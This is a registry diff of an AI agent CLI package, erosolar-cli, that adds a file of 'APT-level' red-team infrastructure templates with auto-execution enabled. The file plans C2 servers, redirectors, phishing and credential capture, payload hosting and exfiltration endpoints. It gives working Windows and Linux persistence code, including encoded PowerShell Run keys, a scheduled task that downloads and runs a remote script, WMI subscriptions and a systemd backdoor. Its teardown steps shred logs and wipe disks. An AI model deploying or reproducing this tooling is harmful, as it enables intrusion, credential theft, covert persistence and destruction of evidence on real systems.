erosolar-cli 2.1.238 → 2.1.240
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +9 -0
- package/dist/contracts/tools.schema.json +3 -1
- package/dist/core/agent.d.ts.map +1 -1
- package/dist/core/agent.js +5 -1
- package/dist/core/agent.js.map +1 -1
- package/dist/core/agentOrchestrator.d.ts +4 -0
- package/dist/core/agentOrchestrator.d.ts.map +1 -1
- package/dist/core/agentOrchestrator.js +58 -6
- package/dist/core/agentOrchestrator.js.map +1 -1
- package/dist/core/autoExecutionOrchestrator.d.ts +172 -0
- package/dist/core/autoExecutionOrchestrator.d.ts.map +1 -0
- package/dist/core/autoExecutionOrchestrator.js +591 -0
- package/dist/core/autoExecutionOrchestrator.js.map +1 -0
- package/dist/core/contextManager.d.ts.map +1 -1
- package/dist/core/contextManager.js.map +1 -1
- package/dist/core/dualAgentOrchestrator.d.ts +34 -0
- package/dist/core/dualAgentOrchestrator.d.ts.map +1 -0
- package/dist/core/dualAgentOrchestrator.js +94 -0
- package/dist/core/dualAgentOrchestrator.js.map +1 -0
- package/dist/core/errors/safetyValidator.d.ts +25 -12
- package/dist/core/errors/safetyValidator.d.ts.map +1 -1
- package/dist/core/errors/safetyValidator.js +165 -17
- package/dist/core/errors/safetyValidator.js.map +1 -1
- package/dist/core/governmentProcedures.d.ts +118 -0
- package/dist/core/governmentProcedures.d.ts.map +1 -0
- package/dist/core/governmentProcedures.js +912 -0
- package/dist/core/governmentProcedures.js.map +1 -0
- package/dist/core/infrastructureTemplates.d.ts +123 -0
- package/dist/core/infrastructureTemplates.d.ts.map +1 -0
- package/dist/core/infrastructureTemplates.js +1326 -0
- package/dist/core/infrastructureTemplates.js.map +1 -0
- package/dist/core/integrityVerification.d.ts +250 -0
- package/dist/core/integrityVerification.d.ts.map +1 -0
- package/dist/core/integrityVerification.js +616 -0
- package/dist/core/integrityVerification.js.map +1 -0
- package/dist/core/orchestration.d.ts +534 -0
- package/dist/core/orchestration.d.ts.map +1 -0
- package/dist/core/orchestration.js +2009 -0
- package/dist/core/orchestration.js.map +1 -0
- package/dist/core/persistentObjectiveStore.d.ts +292 -0
- package/dist/core/persistentObjectiveStore.d.ts.map +1 -0
- package/dist/core/persistentObjectiveStore.js +613 -0
- package/dist/core/persistentObjectiveStore.js.map +1 -0
- package/dist/core/preferences.js +1 -1
- package/dist/core/preferences.js.map +1 -1
- package/dist/core/reliabilityPrompt.d.ts.map +1 -1
- package/dist/core/reliabilityPrompt.js +3 -0
- package/dist/core/reliabilityPrompt.js.map +1 -1
- package/dist/core/securityDeliverableGenerator.d.ts +292 -0
- package/dist/core/securityDeliverableGenerator.d.ts.map +1 -0
- package/dist/core/securityDeliverableGenerator.js +1590 -0
- package/dist/core/securityDeliverableGenerator.js.map +1 -0
- package/dist/core/taskCompletionDetector.d.ts.map +1 -1
- package/dist/core/taskCompletionDetector.js +4 -1
- package/dist/core/taskCompletionDetector.js.map +1 -1
- package/dist/shell/autoExecutor.d.ts.map +1 -1
- package/dist/shell/autoExecutor.js +32 -3
- package/dist/shell/autoExecutor.js.map +1 -1
- package/dist/shell/interactiveShell.d.ts +9 -0
- package/dist/shell/interactiveShell.d.ts.map +1 -1
- package/dist/shell/interactiveShell.js +282 -190
- package/dist/shell/interactiveShell.js.map +1 -1
- package/dist/tools/bashTools.d.ts +3 -5
- package/dist/tools/bashTools.d.ts.map +1 -1
- package/dist/tools/bashTools.js +259 -161
- package/dist/tools/bashTools.js.map +1 -1
- package/dist/tools/tao/index.d.ts +4 -4
- package/dist/tools/tao/index.d.ts.map +1 -1
- package/dist/tools/tao/index.js +15 -5
- package/dist/tools/tao/index.js.map +1 -1
- package/dist/tools/tao/rl.d.ts +164 -0
- package/dist/tools/tao/rl.d.ts.map +1 -0
- package/dist/tools/tao/rl.js +2998 -0
- package/dist/tools/tao/rl.js.map +1 -0
- package/dist/tools/taoTools.d.ts +2 -2
- package/dist/tools/taoTools.d.ts.map +1 -1
- package/dist/tools/taoTools.js +103 -20
- package/dist/tools/taoTools.js.map +1 -1
- package/dist/ui/PromptController.d.ts +3 -0
- package/dist/ui/PromptController.d.ts.map +1 -1
- package/dist/ui/PromptController.js +3 -0
- package/dist/ui/PromptController.js.map +1 -1
- package/dist/ui/UnifiedUIRenderer.d.ts +4 -0
- package/dist/ui/UnifiedUIRenderer.d.ts.map +1 -1
- package/dist/ui/UnifiedUIRenderer.js +37 -6
- package/dist/ui/UnifiedUIRenderer.js.map +1 -1
- package/dist/ui/display.d.ts +9 -1
- package/dist/ui/display.d.ts.map +1 -1
- package/dist/ui/display.js +66 -9
- package/dist/ui/display.js.map +1 -1
- package/dist/ui/shortcutsHelp.d.ts.map +1 -1
- package/dist/ui/shortcutsHelp.js +1 -0
- package/dist/ui/shortcutsHelp.js.map +1 -1
- package/package.json +3 -2
- package/dist/capabilities/askUserCapability.d.ts +0 -14
- package/dist/capabilities/askUserCapability.d.ts.map +0 -1
- package/dist/capabilities/askUserCapability.js +0 -134
- package/dist/capabilities/askUserCapability.js.map +0 -1
- package/dist/capabilities/codeGenerationCapability.d.ts +0 -13
- package/dist/capabilities/codeGenerationCapability.d.ts.map +0 -1
- package/dist/capabilities/codeGenerationCapability.js +0 -25
- package/dist/capabilities/codeGenerationCapability.js.map +0 -1
- package/dist/capabilities/performanceMonitoringCapability.d.ts +0 -108
- package/dist/capabilities/performanceMonitoringCapability.d.ts.map +0 -1
- package/dist/capabilities/performanceMonitoringCapability.js +0 -176
- package/dist/capabilities/performanceMonitoringCapability.js.map +0 -1
- package/dist/capabilities/todoCapability.d.ts +0 -19
- package/dist/capabilities/todoCapability.d.ts.map +0 -1
- package/dist/capabilities/todoCapability.js +0 -170
- package/dist/capabilities/todoCapability.js.map +0 -1
- package/dist/core/baseToolFactory.d.ts +0 -187
- package/dist/core/baseToolFactory.d.ts.map +0 -1
- package/dist/core/baseToolFactory.js +0 -352
- package/dist/core/baseToolFactory.js.map +0 -1
- package/dist/core/intelligentSummarizer.d.ts +0 -79
- package/dist/core/intelligentSummarizer.d.ts.map +0 -1
- package/dist/core/intelligentSummarizer.js +0 -273
- package/dist/core/intelligentSummarizer.js.map +0 -1
- package/dist/core/memorySystem.d.ts +0 -67
- package/dist/core/memorySystem.d.ts.map +0 -1
- package/dist/core/memorySystem.js +0 -334
- package/dist/core/memorySystem.js.map +0 -1
- package/dist/core/outputStyles.d.ts +0 -48
- package/dist/core/outputStyles.d.ts.map +0 -1
- package/dist/core/outputStyles.js +0 -270
- package/dist/core/outputStyles.js.map +0 -1
- package/dist/core/toolPatternAnalyzer.d.ts +0 -87
- package/dist/core/toolPatternAnalyzer.d.ts.map +0 -1
- package/dist/core/toolPatternAnalyzer.js +0 -272
- package/dist/core/toolPatternAnalyzer.js.map +0 -1
- package/dist/tools/backgroundBashTools.d.ts +0 -21
- package/dist/tools/backgroundBashTools.d.ts.map +0 -1
- package/dist/tools/backgroundBashTools.js +0 -215
- package/dist/tools/backgroundBashTools.js.map +0 -1
- package/dist/tools/code-quality-dashboard.d.ts +0 -57
- package/dist/tools/code-quality-dashboard.d.ts.map +0 -1
- package/dist/tools/code-quality-dashboard.js +0 -218
- package/dist/tools/code-quality-dashboard.js.map +0 -1
- package/dist/tools/tao/rlEngine.d.ts +0 -40
- package/dist/tools/tao/rlEngine.d.ts.map +0 -1
- package/dist/tools/tao/rlEngine.js +0 -237
- package/dist/tools/tao/rlEngine.js.map +0 -1
|
@@ -0,0 +1,1326 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Infrastructure Templates - Full Stack Operations
|
|
3
|
+
*
|
|
4
|
+
* Complete infrastructure configurations for:
|
|
5
|
+
* - American (US) operations
|
|
6
|
+
* - Ukraine operations
|
|
7
|
+
* - Full APT-level infrastructure chains
|
|
8
|
+
*
|
|
9
|
+
* Auto-execution enabled for complete deployment.
|
|
10
|
+
*/
|
|
11
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
12
|
+
// US INFRASTRUCTURE STACK
|
|
13
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
14
|
+
export const US_INFRASTRUCTURE_STACK = {
|
|
15
|
+
id: 'us-full-stack-001',
|
|
16
|
+
name: 'US Full Stack Red Team Infrastructure',
|
|
17
|
+
region: 'us',
|
|
18
|
+
classification: 'red-team',
|
|
19
|
+
components: [
|
|
20
|
+
// C2 Servers
|
|
21
|
+
{
|
|
22
|
+
id: 'us-c2-primary',
|
|
23
|
+
name: 'Primary C2 Server (East)',
|
|
24
|
+
type: 'c2-server',
|
|
25
|
+
provider: 'AWS US-East-1 / DigitalOcean NYC',
|
|
26
|
+
configuration: {
|
|
27
|
+
os: 'Ubuntu 22.04 LTS',
|
|
28
|
+
specs: '4 vCPU, 8GB RAM, 100GB SSD',
|
|
29
|
+
framework: 'Cobalt Strike / Mythic / Sliver',
|
|
30
|
+
protocols: ['HTTPS (443)', 'DNS (53)', 'SMB (445)'],
|
|
31
|
+
malleable_profile: 'jQuery CDN mimicry',
|
|
32
|
+
ssl: 'Let\'s Encrypt with custom CA',
|
|
33
|
+
},
|
|
34
|
+
opsecConsiderations: [
|
|
35
|
+
'Use clean IP - check against threat intel feeds',
|
|
36
|
+
'Domain fronting via AWS CloudFront or Fastly',
|
|
37
|
+
'Separate management interface (VPN only)',
|
|
38
|
+
'Log rotation every 24 hours',
|
|
39
|
+
'Kill switch: curl https://killswitch.internal/shutdown',
|
|
40
|
+
'No direct access from operator IPs',
|
|
41
|
+
],
|
|
42
|
+
setupProcedure: [
|
|
43
|
+
'Provision VPS with fresh account',
|
|
44
|
+
'Update and harden OS: apt update && apt upgrade -y',
|
|
45
|
+
'Install dependencies: apt install -y nginx certbot',
|
|
46
|
+
'Configure firewall: ufw allow from management_ip to any port 22',
|
|
47
|
+
'Deploy C2 framework',
|
|
48
|
+
'Configure TLS: certbot certonly --nginx -d c2.domain.com',
|
|
49
|
+
'Set up redirectors in chain',
|
|
50
|
+
'Test all communication channels',
|
|
51
|
+
'Configure monitoring and alerting',
|
|
52
|
+
],
|
|
53
|
+
teardownProcedure: [
|
|
54
|
+
'Graceful beacon disconnect',
|
|
55
|
+
'Export and secure all logs',
|
|
56
|
+
'shred -vfz -n 5 /var/log/*',
|
|
57
|
+
'Secure wipe: dd if=/dev/urandom of=/dev/sda bs=1M',
|
|
58
|
+
'Terminate instance',
|
|
59
|
+
'Remove DNS records',
|
|
60
|
+
'Document IOCs for deconfliction',
|
|
61
|
+
],
|
|
62
|
+
monitoring: [
|
|
63
|
+
'Beacon check-in frequency',
|
|
64
|
+
'Bandwidth utilization',
|
|
65
|
+
'Certificate expiry (30 day warning)',
|
|
66
|
+
'IP reputation score',
|
|
67
|
+
'Uptime (99.9% SLA)',
|
|
68
|
+
],
|
|
69
|
+
},
|
|
70
|
+
{
|
|
71
|
+
id: 'us-c2-secondary',
|
|
72
|
+
name: 'Secondary C2 Server (West)',
|
|
73
|
+
type: 'c2-server',
|
|
74
|
+
provider: 'GCP US-West / Linode',
|
|
75
|
+
configuration: {
|
|
76
|
+
os: 'Debian 11',
|
|
77
|
+
specs: '2 vCPU, 4GB RAM, 50GB SSD',
|
|
78
|
+
framework: 'Covenant / PoshC2',
|
|
79
|
+
protocols: ['HTTPS (443)', 'DNS-over-HTTPS'],
|
|
80
|
+
purpose: 'Fallback and redundancy',
|
|
81
|
+
},
|
|
82
|
+
opsecConsiderations: [
|
|
83
|
+
'Different provider than primary',
|
|
84
|
+
'Different registrar for domains',
|
|
85
|
+
'Geographic separation',
|
|
86
|
+
'Independent kill switch',
|
|
87
|
+
],
|
|
88
|
+
setupProcedure: [
|
|
89
|
+
'Mirror primary setup with different profile',
|
|
90
|
+
'Configure DNS failover',
|
|
91
|
+
'Test switchover procedures',
|
|
92
|
+
],
|
|
93
|
+
teardownProcedure: [
|
|
94
|
+
'Same as primary',
|
|
95
|
+
],
|
|
96
|
+
monitoring: [
|
|
97
|
+
'Sync status with primary',
|
|
98
|
+
'Failover readiness',
|
|
99
|
+
],
|
|
100
|
+
},
|
|
101
|
+
// Redirectors
|
|
102
|
+
{
|
|
103
|
+
id: 'us-redir-east-1',
|
|
104
|
+
name: 'HTTP Redirector East 1',
|
|
105
|
+
type: 'redirector',
|
|
106
|
+
provider: 'AWS Lightsail / Vultr',
|
|
107
|
+
configuration: {
|
|
108
|
+
os: 'Alpine Linux',
|
|
109
|
+
specs: '1 vCPU, 512MB RAM, 10GB SSD',
|
|
110
|
+
software: 'Nginx with mod_rewrite',
|
|
111
|
+
rules: 'Conditional forwarding based on User-Agent, URI, JA3',
|
|
112
|
+
},
|
|
113
|
+
opsecConsiderations: [
|
|
114
|
+
'Expendable - plan for burn',
|
|
115
|
+
'Minimal logging (memory only)',
|
|
116
|
+
'No persistent state',
|
|
117
|
+
'Auto-terminate after 72 hours inactive',
|
|
118
|
+
],
|
|
119
|
+
setupProcedure: [
|
|
120
|
+
'Deploy minimal Alpine instance',
|
|
121
|
+
'Install nginx: apk add nginx',
|
|
122
|
+
'Configure redirect rules',
|
|
123
|
+
'Point to C2 backend',
|
|
124
|
+
'Add to rotation',
|
|
125
|
+
],
|
|
126
|
+
teardownProcedure: [
|
|
127
|
+
'Remove from rotation',
|
|
128
|
+
'Destroy instance immediately',
|
|
129
|
+
],
|
|
130
|
+
monitoring: [
|
|
131
|
+
'Request success rate',
|
|
132
|
+
'Detection indicators',
|
|
133
|
+
],
|
|
134
|
+
},
|
|
135
|
+
{
|
|
136
|
+
id: 'us-redir-east-2',
|
|
137
|
+
name: 'HTTP Redirector East 2',
|
|
138
|
+
type: 'redirector',
|
|
139
|
+
provider: 'DigitalOcean',
|
|
140
|
+
configuration: {
|
|
141
|
+
os: 'Alpine Linux',
|
|
142
|
+
specs: '1 vCPU, 512MB RAM, 10GB SSD',
|
|
143
|
+
software: 'Apache with mod_rewrite',
|
|
144
|
+
rules: 'Different profile from redir-1',
|
|
145
|
+
},
|
|
146
|
+
opsecConsiderations: [
|
|
147
|
+
'Different fingerprint than redir-1',
|
|
148
|
+
'Rotate every 48 hours',
|
|
149
|
+
],
|
|
150
|
+
setupProcedure: ['Similar to redir-east-1'],
|
|
151
|
+
teardownProcedure: ['Destroy immediately'],
|
|
152
|
+
monitoring: ['Uptime', 'Forwarding success rate'],
|
|
153
|
+
},
|
|
154
|
+
{
|
|
155
|
+
id: 'us-redir-west-1',
|
|
156
|
+
name: 'HTTP Redirector West 1',
|
|
157
|
+
type: 'redirector',
|
|
158
|
+
provider: 'Linode Fremont',
|
|
159
|
+
configuration: {
|
|
160
|
+
os: 'Alpine Linux',
|
|
161
|
+
specs: '1 vCPU, 512MB RAM',
|
|
162
|
+
software: 'Caddy',
|
|
163
|
+
purpose: 'West coast entry point',
|
|
164
|
+
},
|
|
165
|
+
opsecConsiderations: ['Geographic diversity'],
|
|
166
|
+
setupProcedure: ['Deploy and configure'],
|
|
167
|
+
teardownProcedure: ['Destroy'],
|
|
168
|
+
monitoring: ['Latency', 'Success rate'],
|
|
169
|
+
},
|
|
170
|
+
// Phishing Server
|
|
171
|
+
{
|
|
172
|
+
id: 'us-phish-1',
|
|
173
|
+
name: 'Phishing Server',
|
|
174
|
+
type: 'phishing-server',
|
|
175
|
+
provider: 'AWS Lightsail',
|
|
176
|
+
configuration: {
|
|
177
|
+
os: 'Ubuntu 22.04',
|
|
178
|
+
specs: '2 vCPU, 2GB RAM, 40GB SSD',
|
|
179
|
+
software: 'GoPhish / Evilginx2',
|
|
180
|
+
tracking: 'Custom pixel + link tracking',
|
|
181
|
+
templates: 'O365, Google Workspace, corporate',
|
|
182
|
+
},
|
|
183
|
+
opsecConsiderations: [
|
|
184
|
+
'Aged domain (>6 months)',
|
|
185
|
+
'Proper SPF, DKIM, DMARC',
|
|
186
|
+
'Categorized as business/technology',
|
|
187
|
+
'SSL certificate from trusted CA',
|
|
188
|
+
'No direct link to C2',
|
|
189
|
+
],
|
|
190
|
+
setupProcedure: [
|
|
191
|
+
'Deploy server',
|
|
192
|
+
'Configure mail (postfix/sendgrid)',
|
|
193
|
+
'Set up GoPhish',
|
|
194
|
+
'Import templates',
|
|
195
|
+
'Configure tracking',
|
|
196
|
+
'Test deliverability',
|
|
197
|
+
'Warmup IP over 2 weeks',
|
|
198
|
+
],
|
|
199
|
+
teardownProcedure: [
|
|
200
|
+
'Export campaign results',
|
|
201
|
+
'Remove DNS records',
|
|
202
|
+
'Destroy server',
|
|
203
|
+
],
|
|
204
|
+
monitoring: [
|
|
205
|
+
'Email deliverability rate',
|
|
206
|
+
'Click tracking',
|
|
207
|
+
'Credential captures',
|
|
208
|
+
'Blacklist status',
|
|
209
|
+
],
|
|
210
|
+
},
|
|
211
|
+
// Payload Hosting
|
|
212
|
+
{
|
|
213
|
+
id: 'us-payload-1',
|
|
214
|
+
name: 'Payload Staging Server',
|
|
215
|
+
type: 'payload-host',
|
|
216
|
+
provider: 'AWS S3 + CloudFront',
|
|
217
|
+
configuration: {
|
|
218
|
+
service: 'S3 bucket with CloudFront distribution',
|
|
219
|
+
caching: 'Edge caching enabled',
|
|
220
|
+
signing: 'Pre-signed URLs (1 hour expiry)',
|
|
221
|
+
content_type: 'Legitimate file types only',
|
|
222
|
+
},
|
|
223
|
+
opsecConsiderations: [
|
|
224
|
+
'Blend with legitimate CDN traffic',
|
|
225
|
+
'Payload obfuscation required',
|
|
226
|
+
'Short-lived URLs only',
|
|
227
|
+
'No reuse of URLs',
|
|
228
|
+
'Monitoring for takedown requests',
|
|
229
|
+
],
|
|
230
|
+
setupProcedure: [
|
|
231
|
+
'Create S3 bucket in target region',
|
|
232
|
+
'Configure bucket policy',
|
|
233
|
+
'Set up CloudFront distribution',
|
|
234
|
+
'Configure origin access identity',
|
|
235
|
+
'Deploy payload generation script',
|
|
236
|
+
],
|
|
237
|
+
teardownProcedure: [
|
|
238
|
+
'Delete all objects',
|
|
239
|
+
'Empty bucket',
|
|
240
|
+
'Disable CloudFront',
|
|
241
|
+
'Delete bucket',
|
|
242
|
+
],
|
|
243
|
+
monitoring: [
|
|
244
|
+
'Download count',
|
|
245
|
+
'Geographic distribution',
|
|
246
|
+
'Unusual access patterns',
|
|
247
|
+
],
|
|
248
|
+
},
|
|
249
|
+
// Exfiltration Endpoint
|
|
250
|
+
{
|
|
251
|
+
id: 'us-exfil-1',
|
|
252
|
+
name: 'Exfiltration Endpoint',
|
|
253
|
+
type: 'exfil-endpoint',
|
|
254
|
+
provider: 'OVH / Hetzner (separate from other infra)',
|
|
255
|
+
configuration: {
|
|
256
|
+
os: 'FreeBSD',
|
|
257
|
+
specs: '2 vCPU, 4GB RAM, 500GB SSD',
|
|
258
|
+
protocols: ['HTTPS', 'DNS', 'ICMP', 'Steganography'],
|
|
259
|
+
encryption: 'AES-256-GCM in transit, ChaCha20-Poly1305 at rest',
|
|
260
|
+
storage: 'Encrypted LVM',
|
|
261
|
+
},
|
|
262
|
+
opsecConsiderations: [
|
|
263
|
+
'Different provider from all other infrastructure',
|
|
264
|
+
'No direct connection to C2',
|
|
265
|
+
'Data encrypted before transmission',
|
|
266
|
+
'Rate limiting to avoid detection',
|
|
267
|
+
'Geographic separation from targets',
|
|
268
|
+
],
|
|
269
|
+
setupProcedure: [
|
|
270
|
+
'Deploy FreeBSD instance',
|
|
271
|
+
'Configure encrypted storage',
|
|
272
|
+
'Set up receive endpoints (HTTPS/DNS)',
|
|
273
|
+
'Configure decryption pipeline',
|
|
274
|
+
'Test all channels',
|
|
275
|
+
],
|
|
276
|
+
teardownProcedure: [
|
|
277
|
+
'Transfer data to secure storage',
|
|
278
|
+
'Cryptographic wipe',
|
|
279
|
+
'Destroy instance',
|
|
280
|
+
],
|
|
281
|
+
monitoring: [
|
|
282
|
+
'Data volume',
|
|
283
|
+
'Transfer success rate',
|
|
284
|
+
'Storage capacity',
|
|
285
|
+
],
|
|
286
|
+
},
|
|
287
|
+
// Proxy Chain
|
|
288
|
+
{
|
|
289
|
+
id: 'us-proxy-1',
|
|
290
|
+
name: 'SOCKS5 Proxy',
|
|
291
|
+
type: 'proxy',
|
|
292
|
+
provider: 'Residential proxy service',
|
|
293
|
+
configuration: {
|
|
294
|
+
type: 'Residential rotating proxies',
|
|
295
|
+
location: 'US residential IPs',
|
|
296
|
+
rotation: 'Every 5 minutes',
|
|
297
|
+
protocol: 'SOCKS5 with authentication',
|
|
298
|
+
},
|
|
299
|
+
opsecConsiderations: [
|
|
300
|
+
'Never access infrastructure directly',
|
|
301
|
+
'Rotate IPs frequently',
|
|
302
|
+
'Use for all reconnaissance',
|
|
303
|
+
'Chain with Tor for anonymity layer',
|
|
304
|
+
],
|
|
305
|
+
setupProcedure: [
|
|
306
|
+
'Acquire proxy service subscription',
|
|
307
|
+
'Configure local proxy chain',
|
|
308
|
+
'Test IP rotation',
|
|
309
|
+
'Verify no leaks',
|
|
310
|
+
],
|
|
311
|
+
teardownProcedure: [
|
|
312
|
+
'Cancel subscription',
|
|
313
|
+
'Clear local configs',
|
|
314
|
+
],
|
|
315
|
+
monitoring: [
|
|
316
|
+
'IP reputation',
|
|
317
|
+
'Connection success rate',
|
|
318
|
+
],
|
|
319
|
+
},
|
|
320
|
+
],
|
|
321
|
+
persistence: [
|
|
322
|
+
{
|
|
323
|
+
id: 'us-pers-1',
|
|
324
|
+
name: 'Windows Registry Persistence',
|
|
325
|
+
category: 'registry',
|
|
326
|
+
platform: 'windows',
|
|
327
|
+
stealthRating: 0.4,
|
|
328
|
+
detectionDifficulty: 'easy',
|
|
329
|
+
prerequisites: ['User-level access'],
|
|
330
|
+
implementation: `
|
|
331
|
+
# HKCU Run Key (User Level)
|
|
332
|
+
reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "OneDriveSync" /t REG_SZ /d "powershell -w hidden -enc BASE64_PAYLOAD" /f
|
|
333
|
+
|
|
334
|
+
# HKLM Run Key (Admin Level)
|
|
335
|
+
reg add "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "WindowsDefenderUpdate" /t REG_SZ /d "C:\\Windows\\System32\\svchost.exe -k netsvcs -s updatesvc" /f
|
|
336
|
+
`,
|
|
337
|
+
artifacts: [
|
|
338
|
+
'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
|
|
339
|
+
'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
|
|
340
|
+
],
|
|
341
|
+
detectionIndicators: [
|
|
342
|
+
'Sysmon Event ID 12/13 (Registry)',
|
|
343
|
+
'Autoruns showing new entries',
|
|
344
|
+
'PowerShell encoded command execution',
|
|
345
|
+
],
|
|
346
|
+
removalProcedure: [
|
|
347
|
+
'reg delete "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "OneDriveSync" /f',
|
|
348
|
+
'Remove payload files',
|
|
349
|
+
'Clear PowerShell history',
|
|
350
|
+
],
|
|
351
|
+
mitreTechnique: 'T1547.001',
|
|
352
|
+
},
|
|
353
|
+
{
|
|
354
|
+
id: 'us-pers-2',
|
|
355
|
+
name: 'Scheduled Task Persistence',
|
|
356
|
+
category: 'scheduled-task',
|
|
357
|
+
platform: 'windows',
|
|
358
|
+
stealthRating: 0.5,
|
|
359
|
+
detectionDifficulty: 'medium',
|
|
360
|
+
prerequisites: ['Admin access preferred'],
|
|
361
|
+
implementation: `
|
|
362
|
+
# User-level task
|
|
363
|
+
schtasks /create /tn "\\Microsoft\\Windows\\UpdateOrchestrator\\USO_UxBroker" /tr "powershell -w hidden -c IEX((New-Object Net.WebClient).DownloadString('https://cdn.company.com/update.txt'))" /sc onlogon /ru %USERNAME%
|
|
364
|
+
|
|
365
|
+
# System-level task
|
|
366
|
+
schtasks /create /tn "\\Microsoft\\Windows\\Maintenance\\WinSAT" /tr "C:\\Windows\\System32\\Tasks\\hidden.exe" /sc daily /st 02:00 /ru SYSTEM
|
|
367
|
+
`,
|
|
368
|
+
artifacts: [
|
|
369
|
+
'C:\\Windows\\System32\\Tasks\\Microsoft\\Windows\\UpdateOrchestrator\\USO_UxBroker',
|
|
370
|
+
'Task Scheduler Library',
|
|
371
|
+
],
|
|
372
|
+
detectionIndicators: [
|
|
373
|
+
'Event ID 4698 (Task Created)',
|
|
374
|
+
'Sysmon Event ID 1 from taskeng.exe',
|
|
375
|
+
'Unusual task XML content',
|
|
376
|
+
],
|
|
377
|
+
removalProcedure: [
|
|
378
|
+
'schtasks /delete /tn "\\Microsoft\\Windows\\UpdateOrchestrator\\USO_UxBroker" /f',
|
|
379
|
+
'Remove task files',
|
|
380
|
+
],
|
|
381
|
+
mitreTechnique: 'T1053.005',
|
|
382
|
+
},
|
|
383
|
+
{
|
|
384
|
+
id: 'us-pers-3',
|
|
385
|
+
name: 'WMI Event Subscription',
|
|
386
|
+
category: 'wmi',
|
|
387
|
+
platform: 'windows',
|
|
388
|
+
stealthRating: 0.7,
|
|
389
|
+
detectionDifficulty: 'hard',
|
|
390
|
+
prerequisites: ['Admin access'],
|
|
391
|
+
implementation: `
|
|
392
|
+
# PowerShell WMI Persistence
|
|
393
|
+
$FilterArgs = @{
|
|
394
|
+
Name = 'WindowsUpdateFilter'
|
|
395
|
+
EventNamespace = 'root\\cimv2'
|
|
396
|
+
QueryLanguage = 'WQL'
|
|
397
|
+
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 2"
|
|
398
|
+
}
|
|
399
|
+
$Filter = New-CimInstance -ClassName __EventFilter -Namespace root/subscription -Property $FilterArgs
|
|
400
|
+
|
|
401
|
+
$ConsumerArgs = @{
|
|
402
|
+
Name = 'WindowsUpdateConsumer'
|
|
403
|
+
CommandLineTemplate = 'powershell -w hidden -enc BASE64_PAYLOAD'
|
|
404
|
+
}
|
|
405
|
+
$Consumer = New-CimInstance -ClassName CommandLineEventConsumer -Namespace root/subscription -Property $ConsumerArgs
|
|
406
|
+
|
|
407
|
+
$BindingArgs = @{
|
|
408
|
+
Filter = [Ref]$Filter
|
|
409
|
+
Consumer = [Ref]$Consumer
|
|
410
|
+
}
|
|
411
|
+
New-CimInstance -ClassName __FilterToConsumerBinding -Namespace root/subscription -Property $BindingArgs
|
|
412
|
+
`,
|
|
413
|
+
artifacts: [
|
|
414
|
+
'WMI Repository: root\\subscription',
|
|
415
|
+
'__EventFilter, CommandLineEventConsumer, __FilterToConsumerBinding',
|
|
416
|
+
],
|
|
417
|
+
detectionIndicators: [
|
|
418
|
+
'Sysmon Event ID 19/20/21 (WMI)',
|
|
419
|
+
'WMI repository anomalies',
|
|
420
|
+
'Unusual WMI process execution',
|
|
421
|
+
],
|
|
422
|
+
removalProcedure: [
|
|
423
|
+
'Get-WmiObject -Namespace root/subscription -Class __EventFilter | Where-Object Name -eq "WindowsUpdateFilter" | Remove-WmiObject',
|
|
424
|
+
'Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer | Where-Object Name -eq "WindowsUpdateConsumer" | Remove-WmiObject',
|
|
425
|
+
'Remove all bindings',
|
|
426
|
+
],
|
|
427
|
+
mitreTechnique: 'T1546.003',
|
|
428
|
+
},
|
|
429
|
+
{
|
|
430
|
+
id: 'us-pers-4',
|
|
431
|
+
name: 'Linux Systemd Service',
|
|
432
|
+
category: 'service',
|
|
433
|
+
platform: 'linux',
|
|
434
|
+
stealthRating: 0.6,
|
|
435
|
+
detectionDifficulty: 'medium',
|
|
436
|
+
prerequisites: ['Root access'],
|
|
437
|
+
implementation: `
|
|
438
|
+
# Create service file
|
|
439
|
+
cat > /etc/systemd/system/update-notifier.service << 'EOF'
|
|
440
|
+
[Unit]
|
|
441
|
+
Description=Update Notifier Service
|
|
442
|
+
After=network.target
|
|
443
|
+
|
|
444
|
+
[Service]
|
|
445
|
+
Type=simple
|
|
446
|
+
ExecStart=/usr/local/bin/update-notifier
|
|
447
|
+
Restart=always
|
|
448
|
+
RestartSec=30
|
|
449
|
+
User=root
|
|
450
|
+
|
|
451
|
+
[Install]
|
|
452
|
+
WantedBy=multi-user.target
|
|
453
|
+
EOF
|
|
454
|
+
|
|
455
|
+
# Deploy payload
|
|
456
|
+
cp payload /usr/local/bin/update-notifier
|
|
457
|
+
chmod +x /usr/local/bin/update-notifier
|
|
458
|
+
|
|
459
|
+
# Enable service
|
|
460
|
+
systemctl daemon-reload
|
|
461
|
+
systemctl enable update-notifier.service
|
|
462
|
+
systemctl start update-notifier.service
|
|
463
|
+
`,
|
|
464
|
+
artifacts: [
|
|
465
|
+
'/etc/systemd/system/update-notifier.service',
|
|
466
|
+
'/usr/local/bin/update-notifier',
|
|
467
|
+
],
|
|
468
|
+
detectionIndicators: [
|
|
469
|
+
'New systemd unit file',
|
|
470
|
+
'Unusual service in systemctl list-units',
|
|
471
|
+
'Process from unusual location',
|
|
472
|
+
],
|
|
473
|
+
removalProcedure: [
|
|
474
|
+
'systemctl stop update-notifier.service',
|
|
475
|
+
'systemctl disable update-notifier.service',
|
|
476
|
+
'rm /etc/systemd/system/update-notifier.service',
|
|
477
|
+
'rm /usr/local/bin/update-notifier',
|
|
478
|
+
'systemctl daemon-reload',
|
|
479
|
+
],
|
|
480
|
+
mitreTechnique: 'T1543.002',
|
|
481
|
+
},
|
|
482
|
+
{
|
|
483
|
+
id: 'us-pers-5',
|
|
484
|
+
name: 'SSH Authorized Keys',
|
|
485
|
+
category: 'startup',
|
|
486
|
+
platform: 'linux',
|
|
487
|
+
stealthRating: 0.5,
|
|
488
|
+
detectionDifficulty: 'easy',
|
|
489
|
+
prerequisites: ['User access'],
|
|
490
|
+
implementation: `
|
|
491
|
+
# Add to user authorized_keys
